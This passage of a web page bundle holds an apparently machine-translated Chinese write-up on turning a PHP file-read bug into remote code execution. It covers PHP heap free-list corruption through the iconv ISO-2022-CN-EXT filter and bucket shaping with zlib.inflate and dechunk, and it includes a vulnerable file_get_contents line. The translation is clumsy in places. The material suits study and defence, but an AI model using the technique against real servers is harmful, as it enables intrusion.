\u8c03\u7528\uff0c\u6d4f\u89c8\u5f00\u6e90\u751f\u6001\u7cfb\u7edf\uff0c\u5bfb\u627e\u8be5\u9519\u8bef\u7684\u53ef\u89e6\u53d1\u5b9e\u4f8b\uff0c\u6211\u62fc\u547d\u5bfb\u627e\u5d29\u6e83\u3002\u4e00\u3002\u5d29\u6e83\u3002\u65e0\u6d4e\u4e8e\u4e8b\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u91cd\u65b0\u71c3\u8d77\u5e0c\u671b\uff0c\u6211\u53c8\u56de\u5230\u4e86PHP\uff1a\u6bd5\u7adf\uff0c\u5b83\u786e\u5b9e\u5d29\u6e83\u4e86\uff0c\u6211\u751a\u81f3\u6ca1\u6709\u8981\u6c42\u5b83\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u76ee\u6807\u5f88\u7b80\u5355\uff1a\u5c06\u65e0\u804a\u7684\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\u8f6c\u6362\u4e3a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"php\u5806\u7684\u5165\u95e8",children:"PHP\u5806\u7684\u5165\u95e8"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u6ce8\u610f\uff1a\u5728\u672c\u8282\u4e2d\uff0c\u4ee5\u53ca\u5728\u63cf\u8ff0PHP\u5185\u90e8\u7ed3\u6784\u7684\u6bcf\u4e2a\u90e8\u5206\u4e2d\uff0c\u6211\u5c06\u8fdb\u884c\u8fd1\u4f3c\u503c\u5e76\u5ffd\u7565\u67d0\u4e9b\u5185\u5bb9\u3002"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u8fbe\u5230\u8fd9\u4e2a\u76ee\u7684\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3PHP\u5806\u662f\u5982\u4f55\u5de5\u4f5c\u7684\uff08\u81f3\u5c11\u662f\u5176\u4e2d\u7684\u4e00\u90e8\u5206\uff09\u3002\u522b\u62c5\u5fc3\uff0c\u8fd9\u662f\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u5806\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u8981\u4f7f\u7528 PHP \u8fdb\u884c\u5206\u914d\uff0c\u8bf7\u4f7f\u7528 \uff0c\u5c06 \u4e0e N \u4e00\u8d77\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"emalloc(N)"})," \u6240\u9700\u7684\u5b57\u8282\u6570\u3002\u60a8\u5c06\u8fd4\u56de\u6307\u5411\u81f3\u5c11\u53ef\u4ee5\u5b58\u50a8 N \u4e2a\u5b57\u8282\u7684\u5757\uff08\u5185\u5b58\u5757\uff09\u7684\u6307\u9488\u3002\u5b8c\u6210\u5757\u540e\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"efree(ptr)"})," .PHP \u6709\u5404\u79cd\u5927\u5c0f\u7684\u5757\uff088\u30010x10\u30010x18\u3001...0x200,0x280\uff0c......"]}),"\n",(0,s.jsx)(n.p,{children:"PHP \u5806\u7531\u4e00\u4e2a 2MB \u7684\u533a\u57df\u7ec4\u6210\uff0c\u5206\u4e3a 512 \u9875\uff0c\u6bcf\u9875 0x1000 \u5b57\u8282\u3002\u6bcf\u4e2a\u9875\u9762\u53ef\u80fd\u5305\u542b\u7279\u5b9a\u5927\u5c0f\u7684\u5757\u3002\u4f8b\u5982\uff0c\u7b2c 10 \u9875\u53ef\u80fd\u5305\u542b\u5927\u5c0f\u4e3a 0x100 \u7684\u5757\u3001\u7b2c 11 \u9875\u5927\u5c0f\u4e3a 0x38 \u7684\u5757\u3001\u7b2c 12 \u9875\u5927\u5c0f\u4e3a 0x180 \u7684\u5757\u7b49\u3002\u5757\u4e4b\u95f4\u6ca1\u6709\u5143\u6570\u636e\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5f53\u60a8\u91ca\u653e\u4e00\u4e2a\u5757\u65f6\uff0c\u5b83\u4f1a\u88ab\u653e\u5728\u4e00\u4e2a\u79f0\u4e3a\u91ca\u653e\u5217\u8868\u7684\u5355\u5411\u94fe\u8868\u7684\u5f00\u5934\u3002\u6bcf\u4e2a\u5757\u5927\u5c0f\u90fd\u6709\u4e00\u4e2a\u514d\u8d39\u5217\u8868\u3002\u4f8b\u5982\uff0c\u5982\u679c\u6211\u8981\u91ca\u653e\u5927\u5c0f\u4e3a 0x38 \u5757\uff0c\u5b83\u5c06\u8fdb\u5165\u5927\u5c0f\u4e3a 0x38 \u5757\u7684\u53ef\u7528\u5217\u8868\u4e2d\u3002\u5982\u679c\u6211\u91ca\u653e\u4e86\u4e00\u5927\u5757\u5927\u5c0f0x200\uff0c\u5b83\u5c31\u4f1a\u8fdb\u5165\u5927\u57570x200\u7684\u514d\u8d39\u5217\u8868\u4e2d......"}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u5206\u914d N \u4e2a\u5b57\u8282\uff0cPHP \u4f1a\u67e5\u770b\u53ef\u7528\u5217\u8868\u4e2d\u7684\u76f8\u5e94\u5757\u5927\u5c0f\uff0c\u53d6\u51fa\u78c1\u5934\u5e76\u8fd4\u56de\u5b83\u3002\u5982\u679c\u53ef\u7528\u5217\u8868\u4e3a\u7a7a\uff08\u5373\u6240\u6709\u53ef\u7528\u7684\u5757\u90fd\u5df2\u5206\u914d\uff09\uff0cPHP \u4f1a\u67e5\u770b\u5806\u5143\u6570\u636e\u4ee5\u67e5\u627e\u672a\u4f7f\u7528\u7684\u9875\u9762\u3002\u7136\u540e\uff0c\u5b83\u4f1a\u5728\u8fd9\u6837\u7684\u9875\u9762\u4e2d\u521b\u5efa\u7a7a\u5757\uff0c\u5e76\u5c06\u5b83\u4eec\u653e\u5728\u7a7a\u95f2\u5217\u8868\u4e2d\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u514d\u8d39\u5217\u8868\u662f\u540e\u8fdb\u5148\u51fa\uff0c\u8fd9\u610f\u5473\u7740\u5f53\u6211\u91ca\u653e\u4e00\u5b9a\u5927\u5c0f\u7684\u5757\u65f6\uff0c\u5b83\u5c06\u6210\u4e3a\u514d\u8d39\u5217\u8868\u7684\u5934\u90e8\u3002\u5f53\u6211\u5206\u914d\u65f6\uff0c\u5934\u90e8\u88ab\u53d6\u51fa\u3002\u8fd9\u4e0e glibc \u7684 tcache \u975e\u5e38\u76f8\u4f3c\uff0c\u4f46\u4e0d\u53d7\u9650\u5236\u3002"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112562.png-.png",alt:"img"}),(0,s.jsx)(n.em,{children:"PHP \u5806\u7684\u53ef\u89c6\u5316\u8868\u793a"})]}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u5728\u5de6\u4fa7\u6709\u4e00\u4e2a\u5806\u7684\u53ef\u89c6\u5316\u8868\u793a\u3002\u5b83\u5305\u542b 512 \u9875\uff0c\u6b64\u5904\u7b2c 5 \u9875\u5b58\u50a8\u4e86\u5927\u5c0f\u4e3a 0x400 \u7684\u5757\u3002\u5982\u679c\u6211\u4eec\u770b\u4e00\u4e0b\u8fd9\u4e2a\u9875\u9762\u7684\u5185\u5bb9\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5b83\u5305\u542b 4 \u4e2a\u5757\uff08\u56e0\u4e3a 4 \xd7 0x400 = 0x1000\uff0c\u4e00\u4e2a\u9875\u9762\u7684\u5927\u5c0f\uff09\u3002\u5728\u8fd9\u91cc\uff0c\u5206\u914d\u4e86\u5757 #1 \u548c #3\uff0c\u5e76\u91ca\u653e\u4e86\u5757 #2 \u548c #4\u3002\u56e0\u6b64\uff0c\u5b83\u4eec\u5728\u5927\u5c0f\u4e3a 0x400 \u5757\u7684\u514d\u8d39\u5217\u8868\u4e2d\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7a7a\u95f2\u5217\u8868\u662f\u4e00\u4e2a\u5355\u94fe\u8868\uff0c\u6bcf\u4e2a\u672a\u5206\u914d\u7684\u5757\u90fd\u5305\u542b\u6307\u5411\u4e0b\u4e00\u4e2a\u7a7a\u95f2\u5757\u7684\u6307\u9488\u4f5c\u4e3a\u5176\u524d 8 \u4e2a\u5b57\u8282\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u5728\u5757 #2 \u4e2d\u770b\u5230\u7684\uff1a\u6307\u5411 0x7ff10201400 \u7684\u6307\u9488\uff0c\u8fd9\u662f\u5927\u5c0f\u4e3a 0x400 \u7684\u4e0b\u4e00\u4e2a\u7a7a\u95f2\u5757\u7684\u5730\u5740\u3002\u73b0\u5728\uff0c\u5982\u679c\u6211\u4eec\u8981\u4ece\u5757 #1 \u6ea2\u51fa\u5230\u5757 #2\uff0c\u6211\u4eec\u5c06\u8986\u76d6\u6b64\u6307\u9488\u3002\u8fd9\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u6f0f\u6d1e\u5229\u7528\u8d77\u70b9\uff1a\u5373\u4f7f\u6709\u4e00\u4e2a\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u66f4\u6539\u4e00\u4e2a\u7a7a\u95f2\u5217\u8868\u6307\u9488\uff0c\u4ece\u800c\u6539\u53d8\u7a7a\u95f2\u5217\u8868\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5e94\u8be5\u6ce8\u610f\u7684\u662f\uff0cPHP\u4e3a\u6bcf\u4e2aHTTP\u8bf7\u6c42\u521b\u5efa\u4e00\u4e2a\u65b0\u5806\u3002\u8fd9\u662f\u4f7f\u8fdc\u7a0b PHP \u5f00\u53d1\u53d8\u5f97\u56f0\u96be\u7684\u539f\u56e0\u4e4b\u4e00\u2014\u2014\u4f46\u8fd9\u5c06\u5728\u7b2c 2 \u90e8\u5206\u4e2d\u4ecb\u7ecd\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"php-\u8fc7\u6ee4\u5668\u5185\u90e8",children:"PHP \u8fc7\u6ee4\u5668\u5185\u90e8"}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u77e5\u9053\u4e86 PHP \u662f\u5982\u4f55\u5206\u914d\u548c\u53d6\u6d88\u5206\u914d\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b PHP \u5982\u4f55\u5904\u7406 ",(0,s.jsx)(n.code,{children:"php://filter/"})," \u5b57\u7b26\u4e32\u3002\u6211\u4eec\u5f88\u5e78\u8fd0\uff1a\u6211\u4eec\u4e0d\u9700\u8981\u6df1\u5165\u4e86\u89e3\u5185\u90e8 PHP \u7ed3\u6784\u7684\u7ec6\u8282\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"zval"})," \u3001 ",(0,s.jsx)(n.code,{children:"zend_string"})," \u3001 ",(0,s.jsx)(n.code,{children:"zend_array"})," \u7b49\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u4e86\u5904\u7406\u8fc7\u6ee4\u5668\uff0cPHP \u5c06\u9996\u5148\u83b7\u53d6\u6d41\uff08\u5373\u8bfb\u53d6\u8d44\u6e90\uff09\u3002\u5b83\u5c06\u6d41\u5b58\u50a8\u5728\u5b58\u50a8\u6876\u7684\u96c6\u5408\u4e2d\uff0c\u8fd9\u4e9b\u5b58\u50a8\u6876\u662f\u53cc\u94fe\u63a5\u7ed3\u6784\uff0c\u6bcf\u4e2a\u5b58\u50a8\u6876\u90fd\u5305\u542b\u4e00\u5b9a\u5927\u5c0f\u7684\u7f13\u51b2\u533a\u3002\u6309\u7167\u6211\u4eec\u7684 ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \u793a\u4f8b\uff0c\u6211\u4eec\u53ef\u80fd\u6709 3 \u4e2a\u5b58\u50a8\u6876\uff1a\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876\u53ef\u80fd\u5305\u542b\u6587\u4ef6\u7684\u524d 5 \u4e2a\u5b57\u8282\uff0c\u7b2c\u4e8c\u4e2a\u5b58\u50a8\u6876\u5305\u542b 30 \u591a\u4e2a\u5b57\u8282\uff0c\u7b2c\u4e09\u4e2a\u5b58\u50a8\u6876\u5305\u542b 1000 \u4e2a\u5b57\u8282\u3002\u5b83\u4eec\u8054\u7cfb\u5728\u4e00\u8d77\uff0c\u6784\u6210\u4e86\u4e00\u4e2a\u6c34\u6876\u65c5\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112563.png-.png",alt:"img"}),(0,s.jsxs)(n.em,{children:["\u4e00\u4e2a\u7531 3 \u4e2a\u94f2\u6597\u7ec4\u6210\u7684\u94f2\u6597\u5927\u961f\uff0c\u5176\u4e2d\u5305\u542b ",(0,s.jsx)(n.code,{children:"/etc/passwd"})]})]}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u662f\u5c06\u6d41\u8868\u793a\u4e3a\u5404\u79cd\u5927\u5c0f\u7684\u7f13\u51b2\u533a\u96c6\u5408\u7684\u6807\u51c6\u65b9\u6cd5\u3002\u60a8\u53ef\u4ee5\u5c06\u5176\u60f3\u8c61\u4e3a\u901a\u8fc7\u7f51\u7edc\u63a5\u6536\u7684\u6570\u636e\u5305\u5217\u8868\u3002\u6570\u636e\u5305 1 \u5305\u542b\u524d N \u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u6570\u636e\u5305 2 \u5305\u542b\u63a5\u4e0b\u6765\u7684 M \u4e2a\u5b57\u8282\uff0c\u4f9d\u6b64\u7c7b\u63a8\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\uff0cPHP \u5df2\u7ecf\u5c06\u8d44\u6e90\u7684\u5185\u5bb9\u8bfb\u5165\u6d41\u4e2d\uff0c\u7531\u5b58\u50a8\u6876\u65c5\u8868\u793a\uff0c\u5b83\u53ef\u4ee5\u5bf9\u5176\u5e94\u7528\u8fc7\u6ee4\u5668\u3002\u5b83\u91c7\u7528\u7b2c\u4e00\u4e2a\u7b5b\u9009\u5668\uff0c\u5e76\u5904\u7406\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876\u3002\u4e3a\u6b64\uff0c\u5b83\u4f1a\u5206\u914d\u4e00\u4e2a\u4e0e\u5b58\u50a8\u6876\u7f13\u51b2\u533a\u5927\u5c0f\u76f8\u540c\u7684\u8f93\u51fa\u7f13\u51b2\u533a\uff08\u5728\u6211\u4eec\u7684\u793a\u4f8b\u4e2d\u4e3a 5 \u4e2a\u5b57\u8282\uff09\uff0c\u5e76\u8fdb\u884c\u8f6c\u6362\u3002\u4f8b\u5982\uff0c\u5982\u679c\u7b5b\u9009\u5668\u662f ",(0,s.jsx)(n.code,{children:"string.upper"})," \uff0c\u5b83\u4f1a\u5c06\u8f93\u5165\u7f13\u51b2\u533a\u4e2d\u7684\u6bcf\u4e2a\u5c0f\u5199\u5b57\u7b26\u8f6c\u6362\u4e3a\u8f93\u51fa\u7f13\u51b2\u533a\u4e2d\u7684\u5927\u5199\u5b57\u7b26\u3002\u7136\u540e\uff0c\u5b83\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6307\u5411\u6b64\u7f13\u51b2\u533a\u7684\u65b0\u5b58\u50a8\u6876\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112564.png-.png",alt:"img"}),(0,s.jsxs)(n.em,{children:["\u7533\u8bf7 ",(0,s.jsx)(n.code,{children:"string.upper"})," \u6c34\u6876\u5927\u961f"]})]}),"\n",(0,s.jsx)(n.p,{children:"\u7136\u540e\uff0c\u5b83\u5904\u7406\u5b58\u50a8\u6876 2\uff0c\u7136\u540e\u5904\u7406\u5b58\u50a8\u6876 3\uff0c\u4f9d\u6b64\u7c7b\u63a8\uff0c\u76f4\u5230\u5230\u8fbe\u6700\u540e\u4e00\u4e2a\u5b58\u50a8\u6876\u3002\u73b0\u5728\uff0c\u5b83\u6709\u4e00\u4e2a\u5305\u542b\u6bcf\u4e2a\u8f93\u51fa\u6876\u7684\u65b0\u94f2\u6597\u65c5\u3002\u5b83\u73b0\u5728\u53ef\u4ee5\u5c06\u7b2c\u4e8c\u4e2a\u8fc7\u6ee4\u5668\u5e94\u7528\u5230\u8fd9\u4e2a\u65c5\u4e0a\uff0c\u5e76\u7ee7\u7eed\u524d\u8fdb\uff0c\u76f4\u5230\u5904\u7406\u5b8c\u6700\u540e\u4e00\u4e2a\u8fc7\u6ee4\u5668\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u60c5\u51b5\u548c\u76ee\u6807",children:"\u60c5\u51b5\u548c\u76ee\u6807"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u5df2\u7ecf\u5b8c\u6210\u4e86\u5b9a\u4e49\u3002\u8ba9\u6211\u4eec\u56de\u5230\u6211\u4eec\u6700\u521d\u7684\u6f0f\u6d1e\uff1a\u6587\u4ef6\u8bfb\u53d6\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"echo file_get_contents($_GET['file']);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"convert.iconv.XXX.ISO-2022-CN-EXT"})," \u8fc7\u6ee4\u5668\u89e6\u53d1\u5185\u5b58\u635f\u574f\uff0c\u6211\u4eec\u9700\u8981\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002\u800c\u4e14\u5b83\u770b\u8d77\u6765\u5e76\u4e0d\u96be\u5229\u7528\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u7531\u4e8e\u6211\u4eec\u6709\u4e00\u4e2a\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\uff0c\u6211\u4eec\u53ef\u4ee5\u8bfb\u53d6\u4e8c\u8fdb\u5236\u6587\u4ef6\uff08PHP\u3001Apache \u7b49\uff09\u3002\u6211\u4eec\u751a\u81f3\u53ef\u4ee5\u4e0b\u8f7dlibc\u5e76\u68c0\u67e5\u5b83\u662f\u5426\u5df2\u4fee\u8865\uff01\u6211\u4eec\u4e5f\u4e0d\u5173\u5fc3 ASLR \u548c PIE\uff1a\u6211\u4eec\u53ef\u4ee5\u9605\u8bfb ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," .\u6700\u540e\uff0c\u611f\u89c9\u6211\u4eec\u51e0\u4e4e\u53ef\u4ee5\u4f7f\u7528\u5b58\u50a8\u6876\u4efb\u610f\u5206\u914d\u6216\u89e3\u9664\u5206\u914d\u7f13\u51b2\u533a\uff0c\u8fd9\u5f88\u65b9\u4fbf\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u4e00\u65b9\u9762\uff0c\u5728\u8bb8\u591a\u60c5\u51b5\u4e0b\uff0c\u4f60\u53ef\u4ee5\u8ba9\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\uff1a\u4f60\u53ef\u80fd\u5728\u8fd0\u884c\u5728 PHP 7.0 \u4e0a\u7684 Symfony 4.x \u4e0a\uff0c\u6216\u8005\u5728 PHP 8.3 \u4e0a\u8fd0\u884c\u7684\u6666\u6da9\u7684 Wordpress \u63d2\u4ef6\u4e2d\uff0c\u751a\u81f3\u5728\u9ed1\u76d2\u8bc4\u4f30\u671f\u95f4\u3002\u7406\u60f3\u7684\u6f0f\u6d1e\u5229\u7528\u9700\u8981\u5177\u6709\u5f39\u6027\uff1a\u5b83\u5fc5\u987b\u9488\u5bf9\u5927\u591a\u6570\u76ee\u6807\uff0c\u65e0\u9700\u4efb\u4f55\u8c03\u6574\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5f00\u53d1",children:"\u5f00\u53d1"}),"\n",(0,s.jsx)(n.p,{children:"\u8003\u8651\u5230\u6240\u6709\u8fd9\u4e9b\uff0c\u8ba9\u6211\u4eec\u5f00\u59cb\u5f00\u53d1\u3002\u8fd9\u4e2a\u60f3\u6cd5\u662f\u4f7f\u7528\u5355\u5b57\u8282\u7f13\u51b2\u533a\u6ea2\u51fa\u6765\u4fee\u6539\u6307\u5411\u53ef\u7528\u5757\u7684\u6307\u9488\u7684 LSB\uff0c\u4ee5\u4fbf\u63a7\u5236\u4e00\u4e9b\u53ef\u7528\u5217\u8868\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u5355\u6876",children:"\u5355\u6876"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u9762\u4e34\u7684\u7b2c\u4e00\u4e2a\u95ee\u9898\u662f\uff0c\u5c3d\u7ba1\u6709 bucket brigade \u6280\u672f\uff0c\u4f46 PHP \u53ea\u521b\u5efa\u4e00\u4e2a bucket\u3002\u5982\u679c\u60a8\u8bfb\u53d6\u4e00\u4e2a\u6587\u4ef6\uff0c\u60a8\u5c06\u83b7\u5f97\u4e00\u4e2a\u5305\u542b\u6574\u4e2a\u6587\u4ef6\u7684\u5b58\u50a8\u6876\u3002\u5982\u679c\u60a8\u8bf7\u6c42 HTTP URL\uff0cPHP \u5c06\u521b\u5efa\u4e00\u4e2a\u5305\u542b\u6574\u4e2a HTTP \u54cd\u5e94\u7684\u5b58\u50a8\u6876\u3002\u548c ",(0,s.jsx)(n.code,{children:"ftp://"})," \uff0c\u4e00\u4e2a\u6876\u3002\u81f3\u5c11\u53ef\u4ee5\u8bf4\uff0c\u8fd9\u662f\u975e\u5e38\u4e0d\u5207\u5b9e\u9645\u7684\uff1a\u6211\u4eec\u4e0d\u80fd\u4f7f\u7528\u6c34\u6876\u6765\u586b\u5145\u5806\uff0c\u55b7\u6d12\u4e1c\u897f\uff0c\u751a\u81f3\u4f7f\u7528\u66f4\u6539\u540e\u7684\u514d\u8d39\u5217\u8868\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u60f3\u4e00\u60f3\uff1a\u4f7f\u7528\u5355\u4e2a\u5b58\u50a8\u6876\uff0c\u6211\u4eec\u53ef\u4ee5\u6ea2\u51fa\u5230\u4e00\u4e2a\u7a7a\u95f2\u533a\u5757\u4e2d\u5e76\u4fee\u6539\u4e00\u4e2a\u7a7a\u95f2\u5217\u8868\uff0c\u4f46\u662f\u6211\u4eec\u6ca1\u6709\u4e86\u5b58\u50a8\u6876\uff0c\u6211\u4eec\u81f3\u5c11\u9700\u8981 2 \u4e2a\u5206\u914d\u624d\u80fd\u4f7f\u7528\u6211\u4eec\u66f4\u6539\u7684\u7a7a\u95f2\u5217\u8868\uff01"}),"\n",(0,s.jsxs)(n.p,{children:["\u5e78\u8fd0\u7684\u662f\uff0c\u6709\u4e00\u79cd\u8fc7\u6ee4\u5668\u53ef\u4ee5\u633d\u6551\u8fd9\u4e00\u5929\uff1a ",(0,s.jsx)(n.code,{children:"zlib.inflate"})," .\u8fd9\u4e2a\u8fc7\u6ee4\u5668\u4f1a\u83b7\u53d6\u6211\u4eec\u7684\u6d41\u5e76\u5bf9\u5176\u8fdb\u884c\u89e3\u538b\u7f29\u3002\u4e3a\u6b64\uff0c\u5b83\u5206\u914d\u4e86\u4e00\u4e2a 8 \u9875\uff080x8000 \u5b57\u8282\uff09\u7684\u7f13\u51b2\u533a\uff0c\u5e76\u5c06\u6211\u4eec\u7684\u6d41\u81a8\u80c0\u5230\u5176\u4e2d\u3002\u5982\u679c\u5b83\u4e0d\u591f\u5927\uff0c\u5b83\u4f1a\u521b\u5efa\u4e00\u4e2a\u76f8\u540c\u5927\u5c0f\u7684\u65b0\u7f13\u51b2\u533a\u6765\u5b58\u50a8\u5176\u4f59\u6570\u636e\u3002\u5982\u679c\u8fd9\u4e24\u8005\u4ecd\u7136\u4e0d\u591f\uff0c\u5b83\u4f1a\u521b\u5efa\u53e6\u4e00\u4e2a\u7f13\u51b2\u533a\u3002\u7136\u540e\u5c06\u6bcf\u4e2a\u7f13\u51b2\u533a\u6dfb\u52a0\u5230\u5b58\u50a8\u6876\u4e2d\u3002\u5b8c\u7f8e\uff1a\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u8fd9\u4e2a\u8fc7\u6ee4\u5668\u6765\u521b\u5efa\u4efb\u610f\u6570\u91cf\u7684\u5b58\u50a8\u6876\uff0c\u8fd9\u662f\u5411\u524d\u8fc8\u51fa\u7684\u4e00\u5927\u6b65\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112565.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.em,{children:["\u7533\u8bf7 ",(0,s.jsx)(n.code,{children:"zlib.inflate"})," \u521b\u5efa\u591a\u4e2a\u5b58\u50a8\u6876"]})}),"\n",(0,s.jsx)(n.p,{children:"\u4f46\u662f\uff0c\u8fd9\u4e9b\u5b58\u50a8\u6876\u5177\u6709\u5927\u5c0f\u4e3a 0x8000 \u7684\u7f13\u51b2\u533a\uff0c\u8fd9\u4e0d\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u5229\u7528\u5927\u5c0f;\u7f13\u51b2 \u8fd9\u4e9b\u5927\u5c0f\u7684\u5206\u914d\u65b9\u5f0f\u4e0e\u6211\u544a\u8bc9\u4f60\u7684\u65b9\u5f0f\u4e0d\u540c\uff0c\u5e76\u4e14\u5728\u91ca\u653e\u65f6\u4e0d\u4f1a\u8fdb\u5165\u53ef\u7528\u5217\u8868\u3002\u6211\u4eec\u9700\u8981\u8c03\u6574\u5b58\u50a8\u6876\u7684\u5927\u5c0f\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u6b63\u786e\u62c6\u89e3",children:"\u6b63\u786e\u62c6\u89e3"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u6b64\uff0c\u6211\u4eec\u5c06\u4f7f\u7528\u4e00\u4e2a PHP \u672a\u8bb0\u5f55\u4f46\u653b\u51fb\u8005\u6240\u719f\u77e5\u7684\u8fc7\u6ee4\u5668\uff1a ",(0,s.jsx)(n.code,{children:"dechunk"})," .\u6b64\u7b5b\u9009\u5668\u89e3\u7801 HTTP \u5206\u5757\u7f16\u7801\u7684\u5b57\u7b26\u4e32\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"HTTP-chunked \u662f\u4e00\u79cd\u975e\u5e38\u7b80\u5355\u7684\u7f16\u7801\uff0c\u60a8\u53ef\u4ee5\u5728\u5176\u4e2d\u6309\u5757\uff08\u4e0d\u662f\u5806\u5757\uff0c\u6570\u636e\u5757\uff09\u53d1\u9001\u6570\u636e\u3002\u9996\u5148\uff0c\u53d1\u9001\u4e00\u4e2a\u5927\u5c0f\u4e3a ASCII-hex\uff0c\u540e\u8ddf\u4e00\u4e2a\u6362\u884c\u7b26\uff0c\u7136\u540e\u662f\u76f8\u5e94\u5927\u5c0f\u7684\u6570\u636e\u5757\uff0c\u540e\u8ddf\u4e00\u4e2a\u6362\u884c\u7b26\u3002\u7136\u540e\uff0c\u53d1\u9001\u53e6\u4e00\u4e2a\u5927\u5c0f\u3001\u53e6\u4e00\u4e2a\u5757\u3001\u53e6\u4e00\u4e2a\u5927\u5c0f\u3001\u53e6\u4e00\u4e2a\u5757\uff0c\u5e76\u901a\u8fc7\u53d1\u9001\u5927\u5c0f 0\uff08\u96f6\uff09\u6765\u6307\u793a\u6570\u636e\u7684\u7ed3\u675f\u3002"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112566.png-.png",alt:"img"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u4f7f\u7528 HTTP \u5206\u5757\u7f16\u7801\u7f16\u7801\u7684\u6570\u636e"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u6b64\u793a\u4f8b\u4e2d\uff0c\u7b2c\u4e00\u4e2a\u5757\u957f 8 \u4e2a\u5b57\u8282\uff0c\u7b2c\u4e8c\u4e2a\u5757\u957f 17 \u4e2a\u5b57\u8282 \uff0811h)\uff0c\u6700\u540e\u4e00\u4e2a\u5757\u957f 13 \u4e2a\u5b57\u8282\u3002\u5728 ing \u4e4b\u540e ",(0,s.jsx)(n.code,{children:"dechunk"})," \uff0c\u7ed3\u679c\u5c06\u662f\uff1a ",(0,s.jsx)(n.code,{children:"This is how the chunked encoding works"})," \u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u4f7f\u7528\u6b64\u8fc7\u6ee4\u5668\uff0c\u8c03\u6574\u5b58\u50a8\u6876\u7684\u5927\u5c0f\u542c\u8d77\u6765\u50cf\u662f\u513f\u620f\uff1a\u5728\u6bcf\u4e2a\u5b58\u50a8\u6876\u4e2d\uff0c\u6211\u4eec\u4ee5\u6240\u9700\u7684\u5927\u5c0f\u4e3a\u6570\u636e\u6dfb\u52a0\u524d\u7f00\uff08\u4f8b\u5982\uff0c\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876\u4e3a 0x148\uff0c\u7b2c\u4e8c\u4e2a\u5b58\u50a8\u6876\u4e3a 0x100 \u7b49\uff09\uff0c\u7136\u540e\u653e\u7f6e\u6570\u636e\uff0c\u7136\u540e\u6700\u540e\u4e00\u4e2a 0 